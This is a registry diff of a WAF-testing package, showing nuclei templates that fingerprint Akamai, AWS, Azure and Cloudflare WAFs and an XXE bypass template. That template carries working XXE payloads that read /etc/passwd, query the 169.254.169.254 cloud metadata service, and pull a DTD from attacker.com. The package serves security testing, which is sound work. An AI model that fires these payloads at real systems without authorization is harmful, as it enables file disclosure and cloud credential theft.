@waftester/cli 2.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (141) hide show
  1. package/LICENSE +80 -0
  2. package/LICENSE-COMMUNITY +28 -0
  3. package/README.md +121 -0
  4. package/bin/cli.js +152 -0
  5. package/package.json +52 -0
  6. package/payloads/community/README.md +45 -0
  7. package/payloads/community/ai/ml-poisoning.json +173 -0
  8. package/payloads/community/ai/prompt-injection.json +247 -0
  9. package/payloads/community/ai/workflow-abuse.json +222 -0
  10. package/payloads/community/auth/jwt.json +855 -0
  11. package/payloads/community/auth/login-bypass.json +623 -0
  12. package/payloads/community/auth/mfa.json +402 -0
  13. package/payloads/community/auth/oauth.json +421 -0
  14. package/payloads/community/auth/open-redirect.json +1028 -0
  15. package/payloads/community/auth/session.json +404 -0
  16. package/payloads/community/cache/deception.json +402 -0
  17. package/payloads/community/cache/poisoning.json +403 -0
  18. package/payloads/community/deserialization/gadget.json +375 -0
  19. package/payloads/community/deserialization/prototype.json +370 -0
  20. package/payloads/community/fuzz/content-type.json +397 -0
  21. package/payloads/community/fuzz/headers.json +401 -0
  22. package/payloads/community/fuzz/methods.json +397 -0
  23. package/payloads/community/fuzz/obfuscation.json +362 -0
  24. package/payloads/community/fuzz/special-chars.json +740 -0
  25. package/payloads/community/fuzz/waf-bypass.json +452 -0
  26. package/payloads/community/graphql/batching-abuse.json +271 -0
  27. package/payloads/community/graphql/depth-limit.json +271 -0
  28. package/payloads/community/graphql/introspection.json +267 -0
  29. package/payloads/community/injection/crlf.json +569 -0
  30. package/payloads/community/injection/ldap.json +357 -0
  31. package/payloads/community/injection/nosqli.json +529 -0
  32. package/payloads/community/injection/oscmd.json +662 -0
  33. package/payloads/community/injection/rce-polyglots.json +452 -0
  34. package/payloads/community/injection/sqli.json +681 -0
  35. package/payloads/community/injection/ssti.json +584 -0
  36. package/payloads/community/injection/upload-attacks.json +632 -0
  37. package/payloads/community/injection/xpath.json +357 -0
  38. package/payloads/community/injection/xxe.json +716 -0
  39. package/payloads/community/logic/forced-browsing.json +405 -0
  40. package/payloads/community/logic/idor.json +1026 -0
  41. package/payloads/community/logic/privilege.json +337 -0
  42. package/payloads/community/media/exif-injection.json +225 -0
  43. package/payloads/community/media/metadata-poison.json +239 -0
  44. package/payloads/community/protocol/http-smuggling.json +798 -0
  45. package/payloads/community/protocol/http2-attacks.json +382 -0
  46. package/payloads/community/protocol/websocket-abuse.json +375 -0
  47. package/payloads/community/rate-limit/burst-simulation.json +286 -0
  48. package/payloads/community/rate-limit/bypass-attempts.json +326 -0
  49. package/payloads/community/rate-limit/zone-tests.json +332 -0
  50. package/payloads/community/services/authentik.json +415 -0
  51. package/payloads/community/services/immich.json +423 -0
  52. package/payloads/community/services/n8n.json +366 -0
  53. package/payloads/community/sqli-basic.json +182 -0
  54. package/payloads/community/ssrf/cloud-metadata.json +999 -0
  55. package/payloads/community/ssrf/dns-rebinding.json +503 -0
  56. package/payloads/community/ssrf/internal-networks.json +627 -0
  57. package/payloads/community/ssrf/protocol-smuggling.json +350 -0
  58. package/payloads/community/ssti/multi-language-templates.json +191 -0
  59. package/payloads/community/ssti/python-templates.json +200 -0
  60. package/payloads/community/traversal/basic.json +675 -0
  61. package/payloads/community/traversal/cloud-credentials.json +107 -0
  62. package/payloads/community/traversal/config-files.json +193 -0
  63. package/payloads/community/traversal/encoding.json +558 -0
  64. package/payloads/community/traversal/null-byte.json +105 -0
  65. package/payloads/community/traversal/symlink.json +93 -0
  66. package/payloads/community/traversal/unicode.json +134 -0
  67. package/payloads/community/traversal/unix-advanced.json +195 -0
  68. package/payloads/community/traversal/windows-advanced.json +195 -0
  69. package/payloads/community/waf-bypass/cloudflare-bypass.json +102 -0
  70. package/payloads/community/waf-bypass/encoding-bypass.json +120 -0
  71. package/payloads/community/waf-bypass/evasion-techniques.json +164 -0
  72. package/payloads/community/waf-bypass/hpp-bypass.json +92 -0
  73. package/payloads/community/waf-bypass/modsecurity-crs.json +220 -0
  74. package/payloads/community/waf-bypass/protocol-attacks.json +101 -0
  75. package/payloads/community/waf-bypass/sqlmap-tamper.json +252 -0
  76. package/payloads/community/waf-bypass/unicode-charset.json +152 -0
  77. package/payloads/community/waf-bypass/vendor-bypasses.json +72 -0
  78. package/payloads/community/waf-validation/README.md +172 -0
  79. package/payloads/community/waf-validation/bypass-techniques.json +272 -0
  80. package/payloads/community/waf-validation/custom-rules.json +952 -0
  81. package/payloads/community/waf-validation/evasion-techniques.json +272 -0
  82. package/payloads/community/waf-validation/modsecurity-core.json +151 -0
  83. package/payloads/community/waf-validation/owasp-top10.json +236 -0
  84. package/payloads/community/waf-validation/regression-tests.json +227 -0
  85. package/payloads/community/xss/csp-bypass.json +431 -0
  86. package/payloads/community/xss/dom.json +389 -0
  87. package/payloads/community/xss/filter-bypass.json +1242 -0
  88. package/payloads/community/xss/mutation.json +263 -0
  89. package/payloads/community/xss/polyglots.json +371 -0
  90. package/payloads/community/xss/reflected.json +187 -0
  91. package/payloads/community/xss/stored.json +330 -0
  92. package/payloads/crlf-injection.json +182 -0
  93. package/payloads/ids-map.json +155 -0
  94. package/payloads/ldap-injection.json +182 -0
  95. package/payloads/nosql-injection.json +227 -0
  96. package/payloads/prototype-pollution.json +182 -0
  97. package/payloads/request-smuggling.json +182 -0
  98. package/payloads/version.json +28 -0
  99. package/payloads/xss-advanced.json +227 -0
  100. package/templates/README.md +221 -0
  101. package/templates/nuclei/http/waf-bypass/crlf-bypass.yaml +146 -0
  102. package/templates/nuclei/http/waf-bypass/lfi-bypass.yaml +152 -0
  103. package/templates/nuclei/http/waf-bypass/nosqli-bypass.yaml +166 -0
  104. package/templates/nuclei/http/waf-bypass/rce-bypass.yaml +171 -0
  105. package/templates/nuclei/http/waf-bypass/sqli-basic.yaml +142 -0
  106. package/templates/nuclei/http/waf-bypass/sqli-evasion.yaml +192 -0
  107. package/templates/nuclei/http/waf-bypass/ssrf-bypass.yaml +130 -0
  108. package/templates/nuclei/http/waf-bypass/ssti-bypass.yaml +147 -0
  109. package/templates/nuclei/http/waf-bypass/xss-basic.yaml +163 -0
  110. package/templates/nuclei/http/waf-bypass/xss-evasion.yaml +217 -0
  111. package/templates/nuclei/http/waf-bypass/xxe-bypass.yaml +204 -0
  112. package/templates/nuclei/http/waf-detection/akamai-detect.yaml +105 -0
  113. package/templates/nuclei/http/waf-detection/aws-waf-detect.yaml +115 -0
  114. package/templates/nuclei/http/waf-detection/azure-waf-detect.yaml +114 -0
  115. package/templates/nuclei/http/waf-detection/cloudflare-detect.yaml +121 -0
  116. package/templates/nuclei/http/waf-detection/modsecurity-detect.yaml +129 -0
  117. package/templates/nuclei/workflows/waf-assessment-workflow.yaml +71 -0
  118. package/templates/output/asff.tmpl +61 -0
  119. package/templates/output/csv.tmpl +4 -0
  120. package/templates/output/junit.tmpl +34 -0
  121. package/templates/output/markdown-report.tmpl +92 -0
  122. package/templates/output/slack-notification.tmpl +95 -0
  123. package/templates/output/text-summary.tmpl +56 -0
  124. package/templates/overrides/api-only.yaml +130 -0
  125. package/templates/overrides/crs-tuning.yaml +204 -0
  126. package/templates/overrides/false-positive-suppression.yaml +159 -0
  127. package/templates/policies/owasp-top10.yaml +152 -0
  128. package/templates/policies/pci-dss.yaml +124 -0
  129. package/templates/policies/permissive.yaml +40 -0
  130. package/templates/policies/standard.yaml +57 -0
  131. package/templates/policies/strict.yaml +72 -0
  132. package/templates/report-configs/compliance.yaml +173 -0
  133. package/templates/report-configs/dark.yaml +136 -0
  134. package/templates/report-configs/enterprise.yaml +175 -0
  135. package/templates/report-configs/minimal.yaml +84 -0
  136. package/templates/report-configs/print.yaml +139 -0
  137. package/templates/workflows/api-scan.yaml +132 -0
  138. package/templates/workflows/ci-gate.yaml +129 -0
  139. package/templates/workflows/full-scan.yaml +133 -0
  140. package/templates/workflows/quick-probe.yaml +80 -0
  141. package/templates/workflows/waf-detection.yaml +89 -0
@@ -0,0 +1,204 @@
1
+ id: waf-xxe-bypass
2
+ info:
3
+ name: WAF XML External Entity Bypass
4
+ author: waftester
5
+ severity: critical
6
+ description: |
7
+ Tests WAF effectiveness against XXE injection bypass techniques. Covers
8
+ classic external entity, parameter entities, blind XXE via OOB channels,
9
+ XXE via SVG upload, SSRF via XXE, encoding-based bypasses (UTF-16, UTF-7),
10
+ and DOCTYPE obfuscation techniques.
11
+ reference:
12
+ - https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing
13
+ - https://portswigger.net/web-security/xxe
14
+ - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection
15
+ - https://github.com/0xInfection/Awesome-WAF
16
+ tags: xxe,waf,bypass,owasp-a05,xml,injection,waftester
17
+ classification:
18
+ cwe-id:
19
+ - CWE-611
20
+ - CWE-693
21
+ metadata:
22
+ verified: true
23
+ max-request: 12
24
+ shodan-query: "http.waf"
25
+ fofa-query: "header=\"WAF\""
26
+
27
+ http:
28
+ # Classic external entity - file read
29
+ - method: POST
30
+ path:
31
+ - "{{BaseURL}}/"
32
+ headers:
33
+ Content-Type: "application/xml"
34
+ body: |
35
+ <?xml version="1.0" encoding="UTF-8"?>
36
+ <!DOCTYPE foo [
37
+ <!ENTITY xxe SYSTEM "file:///etc/passwd">
38
+ ]>
39
+ <root>&xxe;</root>
40
+
41
+ matchers-condition: and
42
+ matchers:
43
+ - type: word
44
+ part: body
45
+ words:
46
+ - "root:"
47
+ - "/bin/bash"
48
+ - "/bin/sh"
49
+ condition: or
50
+ - type: dsl
51
+ dsl:
52
+ - "status_code != 403 && status_code != 406 && status_code != 429"
53
+ - type: word
54
+ part: body
55
+ words:
56
+ - "403"
57
+ - "Forbidden"
58
+ - "blocked"
59
+ - "Request Rejected"
60
+ negative: true
61
+ condition: or
62
+
63
+ extractors:
64
+ - type: regex
65
+ part: body
66
+ regex:
67
+ - "root:.*?:[0-9]+:[0-9]+"
68
+
69
+ # Parameter entities - OOB exfiltration
70
+ - method: POST
71
+ path:
72
+ - "{{BaseURL}}/"
73
+ headers:
74
+ Content-Type: "application/xml"
75
+ body: |
76
+ <?xml version="1.0" encoding="UTF-8"?>
77
+ <!DOCTYPE foo [
78
+ <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
79
+ %xxe;
80
+ ]>
81
+ <root>test</root>
82
+
83
+ matchers-condition: and
84
+ matchers:
85
+ - type: dsl
86
+ dsl:
87
+ - "status_code != 403 && status_code != 406"
88
+ - type: word
89
+ part: body
90
+ words:
91
+ - "403"
92
+ - "Forbidden"
93
+ - "blocked"
94
+ negative: true
95
+ condition: or
96
+
97
+ # SSRF via XXE - cloud metadata access
98
+ - method: POST
99
+ path:
100
+ - "{{BaseURL}}/"
101
+ headers:
102
+ Content-Type: "application/xml"
103
+ body: |
104
+ <?xml version="1.0" encoding="UTF-8"?>
105
+ <!DOCTYPE foo [
106
+ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
107
+ ]>
108
+ <root>&xxe;</root>
109
+
110
+ matchers-condition: and
111
+ matchers:
112
+ - type: dsl
113
+ dsl:
114
+ - "status_code != 403 && status_code != 406"
115
+ - type: word
116
+ part: body
117
+ words:
118
+ - "ami-id"
119
+ - "instance-id"
120
+ - "AccessKeyId"
121
+ condition: or
122
+
123
+ # XInclude attack - when you only control part of the XML
124
+ - method: POST
125
+ path:
126
+ - "{{BaseURL}}/"
127
+ headers:
128
+ Content-Type: "application/xml"
129
+ body: |
130
+ <foo xmlns:xi="http://www.w3.org/2001/XInclude">
131
+ <xi:include parse="text" href="file:///etc/passwd"/>
132
+ </foo>
133
+
134
+ matchers-condition: and
135
+ matchers:
136
+ - type: dsl
137
+ dsl:
138
+ - "status_code != 403 && status_code != 406"
139
+ - type: word
140
+ part: body
141
+ words:
142
+ - "403"
143
+ - "Forbidden"
144
+ - "blocked"
145
+ negative: true
146
+ condition: or
147
+
148
+ # DOCTYPE obfuscation via CDATA and encoding tricks
149
+ - method: POST
150
+ path:
151
+ - "{{BaseURL}}/"
152
+ headers:
153
+ Content-Type: "application/xml"
154
+ body: |
155
+ <?xml version="1.0" encoding="UTF-8"?>
156
+ <!DOCTYPE foo [
157
+ <!ENTITY % start "<![CDATA[">
158
+ <!ENTITY % end "]]>">
159
+ <!ENTITY % xxe SYSTEM "file:///etc/passwd">
160
+ ]>
161
+ <root>&xxe;</root>
162
+
163
+ matchers-condition: and
164
+ matchers:
165
+ - type: dsl
166
+ dsl:
167
+ - "status_code != 403 && status_code != 406"
168
+ - type: word
169
+ part: body
170
+ words:
171
+ - "403"
172
+ - "Forbidden"
173
+ - "blocked"
174
+ negative: true
175
+ condition: or
176
+
177
+ # XXE via SVG content type
178
+ - method: POST
179
+ path:
180
+ - "{{BaseURL}}/"
181
+ headers:
182
+ Content-Type: "image/svg+xml"
183
+ body: |
184
+ <?xml version="1.0" encoding="UTF-8"?>
185
+ <!DOCTYPE svg [
186
+ <!ENTITY xxe SYSTEM "file:///etc/hostname">
187
+ ]>
188
+ <svg xmlns="http://www.w3.org/2000/svg">
189
+ <text x="0" y="15">&xxe;</text>
190
+ </svg>
191
+
192
+ matchers-condition: and
193
+ matchers:
194
+ - type: dsl
195
+ dsl:
196
+ - "status_code != 403 && status_code != 406"
197
+ - type: word
198
+ part: body
199
+ words:
200
+ - "403"
201
+ - "Forbidden"
202
+ - "blocked"
203
+ negative: true
204
+ condition: or
@@ -0,0 +1,105 @@
1
+ id: waf-detect-akamai
2
+ info:
3
+ name: Akamai WAF Detection
4
+ author: waftester
5
+ severity: info
6
+ description: |
7
+ Detects Akamai Kona Site Defender, Akamai WAF, and Akamai CDN presence
8
+ via response headers, Server header patterns, error page signatures,
9
+ and AkamaiGHost identification. Extracts edge server location and
10
+ request reference IDs.
11
+ reference:
12
+ - https://www.akamai.com/products/app-and-api-protector
13
+ - https://github.com/0xInfection/Awesome-WAF
14
+ tags: waf,detection,akamai,kona,fingerprint,cdn,waftester
15
+ classification:
16
+ cwe-id:
17
+ - CWE-200
18
+ metadata:
19
+ verified: true
20
+ max-request: 2
21
+ shodan-query: "http.headers.server:AkamaiGHost"
22
+ fofa-query: "server=\"AkamaiGHost\""
23
+
24
+ http:
25
+ - method: GET
26
+ path:
27
+ - "{{BaseURL}}/"
28
+
29
+ stop-at-first-match: true
30
+ matchers-condition: or
31
+ matchers:
32
+ - type: word
33
+ part: header
34
+ words:
35
+ - "AkamaiGHost"
36
+ - "X-Akamai"
37
+ - "x-akamai-transformed"
38
+ - "x-akamai-request-id"
39
+ - "x-akamai-session-info"
40
+ - "akamai-origin-hop"
41
+ - "x-akamai-config-log-detail"
42
+ - "x-akamai-ssl-client-sid"
43
+ - "x-akamai-edgescape"
44
+ condition: or
45
+ case-insensitive: true
46
+
47
+ - type: regex
48
+ part: header
49
+ regex:
50
+ - "(?i)server:\\s*AkamaiGHost"
51
+ - "(?i)server:\\s*AkamaiNetStorage"
52
+ - "(?i)x-akamai-transformed:\\s*\\d+"
53
+ - "(?i)x-check-cacheable:\\s*(YES|NO)"
54
+
55
+ - type: word
56
+ part: body
57
+ words:
58
+ - "Access Denied"
59
+ - "AkamaiGHost"
60
+ - "Reference&#32;&#35;"
61
+ - "akamai"
62
+ - "You don't have permission to access"
63
+ - "from Akamai"
64
+ condition: or
65
+ case-insensitive: true
66
+
67
+ - type: dsl
68
+ dsl:
69
+ - "status_code == 403 && contains(tolower(body), 'reference')"
70
+
71
+ extractors:
72
+ - type: kval
73
+ kval:
74
+ - server
75
+ - x-akamai-transformed
76
+ - x-akamai-request-id
77
+
78
+ - type: regex
79
+ part: body
80
+ group: 1
81
+ regex:
82
+ - "Reference&#32;&#35;([0-9]+\\.[0-9a-f]+)"
83
+ - "Reference\\s+#([0-9]+\\.[0-9a-f]+)"
84
+
85
+ # Trigger WAF block to confirm Kona Site Defender
86
+ - method: GET
87
+ path:
88
+ - "{{BaseURL}}/?<script>alert(1)</script>"
89
+
90
+ matchers-condition: or
91
+ matchers:
92
+ - type: word
93
+ part: body
94
+ words:
95
+ - "Access Denied"
96
+ - "Reference&#32;&#35;"
97
+ - "You don't have permission"
98
+ - "AkamaiGHost"
99
+ - "Akamai"
100
+ condition: or
101
+ case-insensitive: true
102
+
103
+ - type: dsl
104
+ dsl:
105
+ - "status_code == 403 && contains(tolower(body), 'access denied')"
@@ -0,0 +1,115 @@
1
+ id: waf-detect-aws-waf
2
+ info:
3
+ name: AWS WAF Detection
4
+ author: waftester
5
+ severity: info
6
+ description: |
7
+ Detects AWS WAF, AWS Shield, and AWS CloudFront presence via response
8
+ headers, error pages, and blocking behavior. Identifies x-amzn headers,
9
+ CloudFront distribution IDs, and AWS WAF block responses.
10
+ reference:
11
+ - https://docs.aws.amazon.com/waf/latest/developerguide/
12
+ - https://github.com/0xInfection/Awesome-WAF
13
+ tags: waf,detection,aws,shield,cloudfront,fingerprint,waftester
14
+ classification:
15
+ cwe-id:
16
+ - CWE-200
17
+ metadata:
18
+ verified: true
19
+ max-request: 2
20
+ shodan-query: "http.headers.x-amz"
21
+ fofa-query: "header=\"x-amzn\""
22
+
23
+ http:
24
+ - method: GET
25
+ path:
26
+ - "{{BaseURL}}/"
27
+
28
+ stop-at-first-match: true
29
+ matchers-condition: or
30
+ matchers:
31
+ - type: word
32
+ part: header
33
+ words:
34
+ - "x-amzn-requestid"
35
+ - "x-amz-cf-id"
36
+ - "x-amz-cf-pop"
37
+ - "x-amzn-waf"
38
+ - "x-amz-id-2"
39
+ - "x-amz-request-id"
40
+ - "x-amzn-trace-id"
41
+ - "x-amz-apigw-id"
42
+ - "x-amzn-remapped-"
43
+ condition: or
44
+ case-insensitive: true
45
+
46
+ - type: regex
47
+ part: header
48
+ regex:
49
+ - "(?i)server:\\s*(CloudFront|AmazonS3|awselb)"
50
+ - "(?i)x-amz-cf-id:\\s*[A-Za-z0-9_=-]+"
51
+ - "(?i)x-cache:\\s*(Miss|Hit) from cloudfront"
52
+ - "(?i)via:\\s*.*\\.cloudfront\\.net"
53
+
54
+ - type: word
55
+ part: body
56
+ words:
57
+ - "Request blocked"
58
+ - "AWS WAF"
59
+ - "awswaf"
60
+ - "x-amzn-waf"
61
+ - "AWSALB"
62
+ - "Generated by cloudfront"
63
+ condition: or
64
+ case-insensitive: true
65
+
66
+ - type: word
67
+ part: header
68
+ words:
69
+ - "AWSALB"
70
+ - "AWSALBCORS"
71
+ - "awselb"
72
+ - "AWSALBTG"
73
+ condition: or
74
+ case-insensitive: true
75
+
76
+ extractors:
77
+ - type: kval
78
+ kval:
79
+ - x-amzn-requestid
80
+ - x-amz-cf-id
81
+ - server
82
+ - x-amz-cf-pop
83
+
84
+ - type: regex
85
+ part: header
86
+ group: 1
87
+ regex:
88
+ - "(?i)x-amz-cf-pop:\\s*([A-Z]{3}[0-9]+-[A-Z0-9]+)"
89
+
90
+ # Trigger WAF block to confirm active protection
91
+ - method: GET
92
+ path:
93
+ - "{{BaseURL}}/?<script>alert(1)</script>"
94
+
95
+ matchers-condition: or
96
+ matchers:
97
+ - type: word
98
+ part: body
99
+ words:
100
+ - "Request blocked"
101
+ - "AWS WAF"
102
+ - "This request has been blocked"
103
+ - "If you believe this is an error"
104
+ condition: or
105
+ case-insensitive: true
106
+
107
+ - type: dsl
108
+ dsl:
109
+ - "status_code == 403 && (contains(tolower(body), 'aws') || contains(tolower(body), 'request blocked'))"
110
+
111
+ extractors:
112
+ - type: regex
113
+ part: body
114
+ regex:
115
+ - "(?i)(requestid|request.id).*?([a-f0-9-]{36})"
@@ -0,0 +1,114 @@
1
+ id: waf-detect-azure-front-door
2
+ info:
3
+ name: Azure Front Door / Azure WAF Detection
4
+ author: waftester
5
+ severity: info
6
+ description: |
7
+ Detects Azure Front Door, Azure Application Gateway WAF, and Azure CDN
8
+ presence via response headers, error pages, and blocking behavior.
9
+ Identifies x-azure-ref tracking IDs, Front Door health probes, and
10
+ Azure-specific error response patterns.
11
+ reference:
12
+ - https://learn.microsoft.com/en-us/azure/web-application-firewall/
13
+ - https://github.com/0xInfection/Awesome-WAF
14
+ tags: waf,detection,azure,frontdoor,appgateway,fingerprint,waftester
15
+ classification:
16
+ cwe-id:
17
+ - CWE-200
18
+ metadata:
19
+ verified: true
20
+ max-request: 2
21
+ shodan-query: "http.headers.x-azure-ref"
22
+ fofa-query: "header=\"x-azure-ref\""
23
+
24
+ http:
25
+ - method: GET
26
+ path:
27
+ - "{{BaseURL}}/"
28
+
29
+ stop-at-first-match: true
30
+ matchers-condition: or
31
+ matchers:
32
+ - type: word
33
+ part: header
34
+ words:
35
+ - "x-azure-ref"
36
+ - "x-fd-healthprobe"
37
+ - "x-ms-ref"
38
+ - "x-ms-request-id"
39
+ - "x-msedge-ref"
40
+ - "x-azure-requestchain"
41
+ - "x-azure-socketip"
42
+ - "x-azure-fdid"
43
+ - "x-azure-externalerror"
44
+ - "x-ms-gateway-requestid"
45
+ condition: or
46
+ case-insensitive: true
47
+
48
+ - type: regex
49
+ part: header
50
+ regex:
51
+ - "(?i)x-azure-ref:\\s*[A-Za-z0-9+/=]+"
52
+ - "(?i)server:\\s*Microsoft-Azure-Application-Gateway"
53
+ - "(?i)server:\\s*Microsoft-IIS"
54
+ - "(?i)x-cache:\\s*.*afd"
55
+
56
+ - type: word
57
+ part: body
58
+ words:
59
+ - "Azure Front Door"
60
+ - "The request is blocked"
61
+ - "Ref A:"
62
+ - "Ref B:"
63
+ - "Ref C:"
64
+ - "Microsoft Azure"
65
+ - "Azure Application Gateway"
66
+ - "WAFV2"
67
+ - "BlockedByIPAddress"
68
+ - "This page is temporarily unavailable"
69
+ condition: or
70
+ case-insensitive: true
71
+
72
+ - type: word
73
+ part: header
74
+ words:
75
+ - "afd-"
76
+ - "ARRAffinity"
77
+ - "ARRAffinitySameSite"
78
+ condition: or
79
+ case-insensitive: true
80
+
81
+ extractors:
82
+ - type: kval
83
+ kval:
84
+ - x-azure-ref
85
+ - server
86
+ - x-ms-request-id
87
+
88
+ - type: regex
89
+ part: body
90
+ group: 1
91
+ regex:
92
+ - "Ref A:\\s*([A-F0-9]+)"
93
+
94
+ # Trigger WAF block to confirm active protection
95
+ - method: GET
96
+ path:
97
+ - "{{BaseURL}}/?<script>alert(1)</script>"
98
+
99
+ matchers-condition: or
100
+ matchers:
101
+ - type: word
102
+ part: body
103
+ words:
104
+ - "The request is blocked"
105
+ - "Azure Front Door"
106
+ - "Azure Application Gateway"
107
+ - "This page is temporarily unavailable"
108
+ - "Our services are not available right now"
109
+ condition: or
110
+ case-insensitive: true
111
+
112
+ - type: dsl
113
+ dsl:
114
+ - "status_code == 403 && contains(tolower(body), 'azure')"
@@ -0,0 +1,121 @@
1
+ id: waf-detect-cloudflare
2
+ info:
3
+ name: Cloudflare WAF Detection
4
+ author: waftester
5
+ severity: info
6
+ description: |
7
+ Detects Cloudflare WAF and CDN presence via response headers, cookies,
8
+ error pages, and Server header patterns. Identifies cf-ray IDs, challenge
9
+ pages, and Cloudflare-specific error codes (1000-series).
10
+ reference:
11
+ - https://developers.cloudflare.com/fundamentals/get-started/reference/http-request-headers/
12
+ - https://github.com/0xInfection/Awesome-WAF
13
+ tags: waf,detection,cloudflare,fingerprint,cdn,waftester
14
+ classification:
15
+ cwe-id:
16
+ - CWE-200
17
+ metadata:
18
+ verified: true
19
+ max-request: 2
20
+ shodan-query: "http.headers.server:cloudflare"
21
+ fofa-query: "server=\"cloudflare\""
22
+
23
+ http:
24
+ - method: GET
25
+ path:
26
+ - "{{BaseURL}}/"
27
+
28
+ stop-at-first-match: true
29
+ matchers-condition: or
30
+ matchers:
31
+ - type: word
32
+ part: header
33
+ words:
34
+ - "cf-ray"
35
+ - "cf-cache-status"
36
+ - "cf-request-id"
37
+ - "cf-connecting-ip"
38
+ - "cf-worker"
39
+ - "server: cloudflare"
40
+ - "__cfduid"
41
+ - "cf-apo-via"
42
+ - "cf-edge-cache"
43
+ condition: or
44
+ case-insensitive: true
45
+
46
+ - type: word
47
+ part: body
48
+ words:
49
+ - "Attention Required! | Cloudflare"
50
+ - "cf-error-details"
51
+ - "cloudflare-nginx"
52
+ - "Cloudflare Ray ID"
53
+ - "Performance &amp; security by Cloudflare"
54
+ - "Enable JavaScript and cookies to continue"
55
+ - "error code: 10"
56
+ - "cf-browser-verification"
57
+ - "cf.challenge.platform"
58
+ - "_cf_chl_opt"
59
+ condition: or
60
+ case-insensitive: true
61
+
62
+ - type: regex
63
+ part: header
64
+ regex:
65
+ - "(?i)server:\\s*cloudflare"
66
+ - "(?i)set-cookie:.*__cfduid="
67
+ - "(?i)set-cookie:.*__cf_bm="
68
+ - "(?i)cf-ray:\\s*[0-9a-f]+-[A-Z]{3}"
69
+
70
+ - type: word
71
+ part: header
72
+ words:
73
+ - "__cf_bm"
74
+ - "cf_clearance"
75
+ - "cf_ob_info"
76
+ - "cf_use_ob"
77
+ condition: or
78
+ case-insensitive: true
79
+
80
+ extractors:
81
+ - type: kval
82
+ kval:
83
+ - cf-ray
84
+ - server
85
+ - cf-cache-status
86
+
87
+ - type: regex
88
+ part: header
89
+ group: 1
90
+ regex:
91
+ - "cf-ray:\\s*([0-9a-f]+-[A-Z]{3})"
92
+
93
+ # Trigger WAF block page to confirm active protection
94
+ - method: GET
95
+ path:
96
+ - "{{BaseURL}}/?<script>alert(1)</script>"
97
+
98
+ matchers-condition: or
99
+ matchers:
100
+ - type: word
101
+ part: body
102
+ words:
103
+ - "Attention Required!"
104
+ - "Cloudflare"
105
+ - "cf-error-details"
106
+ - "Why have I been blocked?"
107
+ - "This website is using a security service"
108
+ - "Ray ID:"
109
+ condition: or
110
+ case-insensitive: true
111
+
112
+ - type: dsl
113
+ dsl:
114
+ - "status_code == 403 && contains(tolower(body), 'cloudflare')"
115
+
116
+ extractors:
117
+ - type: regex
118
+ part: body
119
+ group: 1
120
+ regex:
121
+ - "Ray ID:\\s*<[^>]+>([0-9a-f]+)</[^>]+>"